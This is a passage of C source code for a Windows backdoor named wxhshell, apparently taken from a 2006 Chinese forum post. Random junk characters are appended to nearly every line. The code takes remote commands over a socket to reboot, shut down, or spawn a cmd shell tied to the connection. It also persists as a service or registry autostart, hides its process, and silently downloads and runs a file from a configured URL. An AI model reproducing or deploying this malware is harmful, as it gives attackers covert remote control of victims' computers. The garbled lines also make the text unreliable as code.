  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ;S '?l0  
  } X%3?sH  
  else { tW/g0lC%  
Fx|`0 LI+C  
    switch(cmd[0]) { WgqSw%:$H  
  sRA2O/yKCE  
  // 帮助 "RN] @p#m  
  case '?': { DA.k8M  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); P_w4 DU  
    break; bd~m'cob>  
  } a4*976~![  
  // 安装 T7^;!;i`X  
  case 'i': { I<ohh`.  
    if(Install()) }Sbk qd5  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ,(pp+hNq  
    else -v.\W y~\  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); $`55 E(  
    break; 5a$EXV  
    } [&PF ;)i  
  // 卸载 )iQ^HZ  
  case 'r': { dpw-a4o}  
    if(Uninstall()) .Zv~a&GE  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); & UOxS W  
    else UZ2_FP  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); !@F {FR  
    break; t4[q :[1  
    } %,_ZVgh0  
  // 显示 wxhshell 所在路径 Xt<1b  
  case 'p': { lz~^*\ F  
    char svExeFile[MAX_PATH]; %DYh<U4N  
    strcpy(svExeFile,"\n\r"); IBo  
      strcat(svExeFile,ExeFile); )q-NE)  
        send(wsh,svExeFile,strlen(svExeFile),0); W.MZN4=  
    break; _huJ*W7lR  
    } t]@>kAA>2L  
  // 重启 j<*7p:L7_>  
  case 'b': { }7[]d7  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); ={sjoMW  
    if(Boot(REBOOT)) uR5+")r@S  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); hm! J@  
    else { g"1V ]  
    closesocket(wsh); jts0ZFHc-  
    ExitThread(0); iX]OF.:   
    } J<QZ)<T,&  
    break; TA-2{=8  
    }  pE)NSZ  
  // 关机 Ee2P]4_d  
  case 'd': { "u!gfG?oH  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); dX cbS<  
    if(Boot(SHUTDOWN)) 5MaN {*)l  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); V;xPZ2C;  
    else { J W@6m  
    closesocket(wsh); Wvf>5g)?  
    ExitThread(0); gZ$ 8Y7  
    } E 6TeZ%g  
    break; 5 ix*wu`,  
    } !q\=e@j-i  
  // 获取shell f?Zjd&|Ch  
  case 's': { p{^:b6  
    CmdShell(wsh); 4k<o  
    closesocket(wsh); @)6b  
    ExitThread(0); ^EX"fRwNi  
    break; @"MYq#2c$  
  } M/=36{,w-  
  // 退出 ,r w4Lo  
  case 'x': { /B@{w-N  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); a31e.3 6g  
    CloseIt(wsh); id1cZig  
    break; |VWT4*K  
    } m6ge %  
  // 离开 w5HIR/kP  
  case 'q': { ='o3<}  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); 0w3c8s.  
    closesocket(wsh); FfJ;r'eGs  
    WSACleanup(); MF4 (  
    exit(1); B@&sG 5ES  
    break; W/!P1M n  
        } dj Ojd,  
  } 3 y}E*QE  
  } d^aVP  
#y:D{%Wp  
  // 提示信息 .P)lQk\  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); eut2x7Z(c  
} o:AfEoH"~  
  } %;k Hnl  
`s CwgY+  
  return; w+ R/>a( ]  
} 2F:qaz  
}8ubGMr,Y  
// shell模块句柄 .d1ff] ;  
int CmdShell(SOCKET sock) 9;e!r DW,#  
{ .C% 28fH  
STARTUPINFO si; f$xXR$mjf  
ZeroMemory(&si,sizeof(si)); mQ:{>`  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; q,,  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; \0b}Z#'0  
PROCESS_INFORMATION ProcessInfo; p0@^1  
char cmdline[]="cmd"; GEWjQ;g  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); v745F Iy<  
  return 0; z$%twBg}#  
} eIkKsgr>  
Food<(!.>  
// 自身启动模式 Y~I<Locv  
int StartFromService(void) D!rPF)K )  
{ 7&ED>Bk  
typedef struct }mj9$=B4  
{ '>"{yi-  
  DWORD ExitStatus; /sA&}kX}E  
  DWORD PebBaseAddress; UY< PiP  
  DWORD AffinityMask; %qoS(iO`h  
  DWORD BasePriority; ] 4dl6T  
  ULONG UniqueProcessId; q Q\j  
  ULONG InheritedFromUniqueProcessId; ' k,2*.A  
}   PROCESS_BASIC_INFORMATION; ~5N}P>4 *  
P1-eDHYw  
PROCNTQSIP NtQueryInformationProcess; bC<W7qf]}  
Y$=jAN  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ;  ? }M81  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; qiNVaV\wr|  
g_Z tDxz  
  HANDLE             hProcess; L.HeBeO  
  PROCESS_BASIC_INFORMATION pbi; puC91  
;,&cWz  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); 3v8LzS3@  
  if(NULL == hInst ) return 0; vgwpuRL5b  
n3a.)tcC  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); _ %nz-I  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); 1F@j?)(  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); ;77K&#1  
|\,OlX,  
  if (!NtQueryInformationProcess) return 0; R=z])  
9d drtJ]  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); )E}v~GW.+  
  if(!hProcess) return 0; =>$)F 4LW  
]||b2[*  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; ))"gWO  
3:+9H}Q  
  CloseHandle(hProcess); ;]dD\4_hK  
'C[tPP  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); 4ijtx)SA  
if(hProcess==NULL) return 0; N''QQBUD  
yKc-:IBb{u  
HMODULE hMod; uR0UfKK  
char procName[255]; b[74$W{  
unsigned long cbNeeded; T`&zQQ6F'  
rW{!8FhI  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); 0pZvW  
VXeO}>2S  
  CloseHandle(hProcess); EgjJywNhd2  
\ 2\{c1df  
if(strstr(procName,"services")) return 1; // 以服务启动 23}` e  
jf9+H!?^N  
  return 0; // 注册表启动 y{ ur'**l  
} en<~_|J  
N,(!   
// 主模块 :X0L6y)u  
int StartWxhshell(LPSTR lpCmdLine) p `"k=tZ{  
{ aB ,-E>+  
  SOCKET wsl; 5'zXCHt  
BOOL val=TRUE; }Le]qR9Y]  
  int port=0; U$OZkHA[  
  struct sockaddr_in door; 39X~<\&'  
R;< q<i_l  
  if(wscfg.ws_autoins) Install(); 2Rk}ovtD[  
s2<!Zb4  
port=atoi(lpCmdLine); Zy}tZRG  
Un6R)MVT  
if(port<=0) port=wscfg.ws_port; 2JfSi2T  
i>m%hbAk  
  WSADATA data; %* "+kw Z  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; > i/jqT/  
Tq1\  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   kaBjA*  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); S_ATsG*(  
  door.sin_family = AF_INET; 4 PK}lc  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); zHJCXTM  
  door.sin_port = htons(port); =X$ieXq|  
owAO&"C  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { }p)K6!J0  
closesocket(wsl); @oXGa>Ru  
return 1; D-gH_ff<]9  
} IG^@VQ%  
iGyetFqKw  
  if(listen(wsl,2) == INVALID_SOCKET) { \@<7Vo,  
closesocket(wsl); 4EB\R"rWXf  
return 1; jI-a+LnEm  
} ?.~1%l!  
  Wxhshell(wsl); &\h7E   
  WSACleanup(); 98[uRywI  
`Q@7,z=f  
return 0; &LLU@|  
Ca2r<|uA  
} LP vp (1  
EZUaYp ~M  
// 以NT服务方式启动 fQ<sq0' e\  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) RZa/la*  
{ [|(|"dh@^H  
DWORD   status = 0; mQ[$U  
  DWORD   specificError = 0xfffffff; <FT7QO$I  
yJA~4  
  serviceStatus.dwServiceType     = SERVICE_WIN32; +}:Z9AAMy  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; 2b"*~O;  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; `[/#, *\  
  serviceStatus.dwWin32ExitCode     = 0; <L}@p8Lq  
  serviceStatus.dwServiceSpecificExitCode = 0;  ? wS}'  
  serviceStatus.dwCheckPoint       = 0; GP} ;~  
  serviceStatus.dwWaitHint       = 0; c./\sN@  
VvhfD2*T  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); 1Bh"'9-!JT  
  if (hServiceStatusHandle==0) return; ho\1[xS  
fM= o?w6v  
status = GetLastError(); M xE]EJZ  
  if (status!=NO_ERROR) `|t,Uc|7!  
{ k&Pt\- 9on  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; &YhAB\Rw  
    serviceStatus.dwCheckPoint       = 0; w~3X m{  
    serviceStatus.dwWaitHint       = 0; h@,ja  
    serviceStatus.dwWin32ExitCode     = status; sy&[Q{,4  
    serviceStatus.dwServiceSpecificExitCode = specificError; J%&LQ9  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); opcanl9pSW  
    return; Hm-#Mpw  
  } Xoj"rR9|  
h]4xS?6O  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; X~{6$J|]#i  
  serviceStatus.dwCheckPoint       = 0; ",#.?vT`  
  serviceStatus.dwWaitHint       = 0; ]2AOW}=  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); @Z5q2Q  
} k/K)nH@)  
RXgb/VR  
// 处理NT服务事件,比如:启动、停止 AWO)]rM  
VOID WINAPI NTServiceHandler(DWORD fdwControl) [txOh!sxD  
{ #CS>_qe.{  
switch(fdwControl) 77RZ<u9/`  
{ wh:;G`6S  
case SERVICE_CONTROL_STOP: .LzA'q1+z  
  serviceStatus.dwWin32ExitCode = 0; te@m#` p9  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; T;w:^XW  
  serviceStatus.dwCheckPoint   = 0; [,=?e  
  serviceStatus.dwWaitHint     = 0; }M07-qIX{  
  { d4Uw+3ikW  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); OSu&vFKz  
  } >M<3!?fW)  
  return; @6 he!wW  
case SERVICE_CONTROL_PAUSE: DB vM.'b$  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; Q):#6|u+  
  break; |x}TpM;ni  
case SERVICE_CONTROL_CONTINUE: 1XGg0SC  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; w-|Rb~XT h  
  break; @|gG3  
case SERVICE_CONTROL_INTERROGATE: UHl3/m7g  
  break; !0{SVsc)  
}; ]kj^T?&n.  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); {*xE+ |  
} 4^7 v@3  
o}N@Q-i gq  
// 标准应用程序主函数 LU3pCM{  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) h&"9v~  
{ V)$!WPL@  
C5~#lNC  
// 获取操作系统版本 a&s34Pd  
OsIsNt=GetOsVer(); kWzp*<lWe  
GetModuleFileName(NULL,ExeFile,MAX_PATH); ~ 'ZwD/!e  
dSDZMB sd  
  // 从命令行安装 u8f\)m  
  if(strpbrk(lpCmdLine,"iI")) Install(); mxlh\'b  
~Ztn(1N  
  // 下载执行文件 +k`L8@a3&  
if(wscfg.ws_downexe) { [ &TF]az  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) [LVXXjkFI  
  WinExec(wscfg.ws_filenam,SW_HIDE); |$WHw*F^  
} 9*"  
-]3K#M)s  
if(!OsIsNt) { (HNc9QVC'W  
// 如果时win9x,隐藏进程并且设置为注册表启动 Mc,79Ix"  
HideProc(); ,np=m17  
StartWxhshell(lpCmdLine); 2Kxb(q"  
} v93b8/1  
else {&1L &f<  
  if(StartFromService()) cy%M$O|hX5  
  // 以服务方式启动 _}[ Du/c  
  StartServiceCtrlDispatcher(DispatchTable); }?[];FB  
else gM96RY  
  // 普通方式启动 NaR} 0  
  StartWxhshell(lpCmdLine); t{})6  
,,H5zmgA  
return 0; VDxm|7  
}
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只看该作者 1 发表于: 2006-10-10
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